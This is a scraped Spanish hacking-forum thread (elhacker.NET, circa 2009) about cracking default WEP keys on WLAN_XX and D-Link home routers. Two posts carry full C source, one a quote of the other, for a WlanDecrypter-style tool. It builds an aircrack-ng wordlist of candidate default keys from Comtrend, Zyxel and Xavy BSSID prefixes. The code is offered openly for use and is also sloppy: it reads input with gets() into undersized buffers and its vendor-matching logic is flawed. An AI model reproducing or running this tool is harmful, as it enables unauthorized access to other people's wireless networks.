Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware
Autor
|
Tema: vaya vaya.. solución WEP de las WLAN_XX para las DLINK-WIRELESS?? (Leído 37,121 veces)
|
|
pianista
|
Tienes un script hecho por mi dudux.. De todas formas si te interesa vamos a implementarlo en C para linux Saludos
|
|
|
|
|
En línea
|
|
|
|
Glezo
Desconectado
Mensajes: 82
|
buenos días! es la primera vez que escribo en el foro... y es para reaviviar un tema viejo viejo ya integrado en el wifislax 3.1 pero bueno! el caso... He creído leer que el algoritmo de la clave WEP en estos routers DLINK era válido también para algunas redes WLAN_XX... sin embargo, he auditado una WLAN_XX cuyo BSSID comienza por 00:16:38 y termina en 5E... pero su clave comienza por C003, con lo que podemos descartar el algoritmo... entonces, ¿funciona también para wlan_xx? Alguien ha obtenido resultados para bssids 00:16:38....? gracias
|
|
|
|
|
En línea
|
|
|
|
|
pianista
|
Para las wlan_xx tienes el wlandecrypter, que esta actualizado e wifislax, aunque se actualizara aun mas para la proxima wifiway que esta en camino Saludos
|
|
|
|
|
En línea
|
|
|
|
*dudux
Ex-Staff
Desconectado
Mensajes: 2.383
.....traficando con sueños.....
|
Tienes un script hecho por mi dudux.. De todas formas si te interesa vamos a implementarlo en C para linux Saludos
soy todo tuyo ,,,,,,,,,,tu eres mis teclas........jejje que script?
|
|
|
|
|
En línea
|
|
|
|
Glezo
Desconectado
Mensajes: 82
|
Buenas! lo primero... Otra versión de wifiway? madre! gracias, pianista, estáis que lo tiráis... sois unos monstruos. De todos modos lo que m ha chocado es que según leías el comentario 45 de harlock_saga (lo sé, soy un triste... no tengo mucha (ni ninguna) cultura de forero y no sé utilizar la herramienta citar  ) este algoritmo de ir permutando las posiciones de los pares hexadecimales le funcionó para redes con essid wlan_tro-co-tró... lo cual me raya mazo... Yo por lo menos lo he comprobado con las contraseñas por defecto de varios amigos con wlan y ni de blas... gracias a todos.
|
|
|
|
|
En línea
|
|
|
|
otofam
Desconectado
Mensajes: 1
|
aquí está el codig fuente en C para WlanDecrypter: espero que lo disfrutéis. #include <stdio.h> #include <string.h>
int main() { FILE *pt; char bssid[6],bssid2[6]={"001D20"},bssid3={"0003DA"},xavy[6]={"000138"},zyxel1[6]={"0060B3"},zyxel2[6]={"00A0C5"},zyxel3[6]={"001349"},zyxel4[6]={"0002CF"},comtrend1[6]={"0003C9"},comtrend2[6]={"001638"},comtrend3[6]={"0003DA"},comtrend4[6]={"001915"},comtrend5[6]={"001A2B"},fin[2]; int i,j,k,var1,var2,var3,var4,var5,var6,var7,var8,var9,var10;
printf("\n Este es un progrma experimental.\n Permite generar un diccionario para aicrack-ng de posibles contraseñas WLAN_XX.\n\n Queda totalmente prohibido ir al lavabo mientras se está utilizando.\n\n");
printf("\n 3 pimeros digitos del BSSID (sin los dos puntos):\t"); gets(bssid); for(i=0;i<6;i++) if ((bssid[i]>='a')&&(bssid[i]<='z')) bssid[i]=toupper(bssid[i]);
printf("\n 2 digitos finales del ESSID:\t"); gets(fin); for(i=0;i<2;i++) if ((fin[i]>='a')&&(fin[i]<='z')) fin[i]=toupper(fin[i]);
if(!(pt=fopen("palabrejas.lst","w"))) printf("\n Error.\n"); else{ for(j=0;j<6;j++){ if (bssid[j]==xavy[j]) var1=1; else var1=0; if (bssid[j]==comtrend1[j]) var2=1; else var2=0; if (bssid[j]==comtrend2[j]) var3=1; else var3=0; if (bssid[j]==comtrend3[j]) var4=1; else var4=0; if (bssid[j]==comtrend4[j]) var5=1; else var5=0; if (bssid[j]==comtrend5[j]) var6=1; else var6=0; if (bssid[j]==zyxel1[j]) var7=1; else var7=0; if (bssid[j]==zyxel2[j]) var8=1; else var8=0; if (bssid[j]==zyxel3[j]) var9=1; else var9=0; if (bssid[j]==zyxel4[j]) var10=1; else var10=0; }
if (var1) for(i=0;i<65536;i++) fprintf(pt,"X%s%04X%s\n",bssid,i,fin); // Xavy else if (var2) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 1 else if (var3) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 2 else if (var4) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 3 else if (var5) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 4 else if (var6) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n",bssid2,i,fin); // Comtrend 5 else if (var7) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 1 else if (var8) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 2 else if (var9) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 3 else if (var10) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 4 }
fclose(pt); return 0; }
y aprovecho para saludar a Adri!
|
|
|
|
« Última modificación: 30 Marzo 2009, 14:41 por otofam »
|
En línea
|
|
|
|
*dudux
Ex-Staff
Desconectado
Mensajes: 2.383
.....traficando con sueños.....
|
aquí está el codig fuente en C para WlanDecrypter: espero que lo disfrutéis. #include <stdio.h> #include <string.h>
int main() { FILE *pt; char bssid[6],bssid2[6]={"001D20"},bssid3={"0003DA"},xavy[6]={"000138"},zyxel1[6]={"0060B3"},zyxel2[6]={"00A0C5"},zyxel3[6]={"001349"},zyxel4[6]={"0002CF"},comtrend1[6]={"0003C9"},comtrend2[6]={"001638"},comtrend3[6]={"0003DA"},comtrend4[6]={"001915"},comtrend5[6]={"001A2B"},fin[2]; int i,j,k,var1,var2,var3,var4,var5,var6,var7,var8,var9,var10;
printf("\n Este es un progrma experimental.\n Permite generar un diccionario para aicrack-ng de posibles contraseñas WLAN_XX.\n\n Queda totalmente prohibido ir al lavabo mientras se está utilizando.\n\n");
printf("\n 3 pimeros digitos del BSSID (sin los dos puntos):\t"); gets(bssid); for(i=0;i<6;i++) if ((bssid[i]>='a')&&(bssid[i]<='z')) bssid[i]=toupper(bssid[i]);
printf("\n 2 digitos finales del ESSID:\t"); gets(fin); for(i=0;i<2;i++) if ((fin[i]>='a')&&(fin[i]<='z')) fin[i]=toupper(fin[i]);
if(!(pt=fopen("palabrejas.lst","w"))) printf("\n Error.\n"); else{ for(j=0;j<6;j++){ if (bssid[j]==xavy[j]) var1=1; else var1=0; if (bssid[j]==comtrend1[j]) var2=1; else var2=0; if (bssid[j]==comtrend2[j]) var3=1; else var3=0; if (bssid[j]==comtrend3[j]) var4=1; else var4=0; if (bssid[j]==comtrend4[j]) var5=1; else var5=0; if (bssid[j]==comtrend5[j]) var6=1; else var6=0; if (bssid[j]==zyxel1[j]) var7=1; else var7=0; if (bssid[j]==zyxel2[j]) var8=1; else var8=0; if (bssid[j]==zyxel3[j]) var9=1; else var9=0; if (bssid[j]==zyxel4[j]) var10=1; else var10=0; }
if (var1) for(i=0;i<65536;i++) fprintf(pt,"X%s%04X%s\n",bssid,i,fin); // Xavy else if (var2) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 1 else if (var3) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 2 else if (var4) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 3 else if (var5) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n","0003DA",i,fin); // Comtrend 4 else if (var6) for(i=0;i<65536;i++) fprintf(pt,"C%s%04X%s\n",bssid2,i,fin); // Comtrend 5 else if (var7) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 1 else if (var8) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 2 else if (var9) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 3 else if (var10) for(i=0;i<65536;i++) fprintf(pt,"Z%s%04X%s\n",bssid,i,fin); // Zyxel 4 }
fclose(pt); return 0; }
y aprovecho para saludar a Adri! http://codepad.org/ZXRZvCvz
|
|
|
|
|
En línea
|
|
|
|
|
|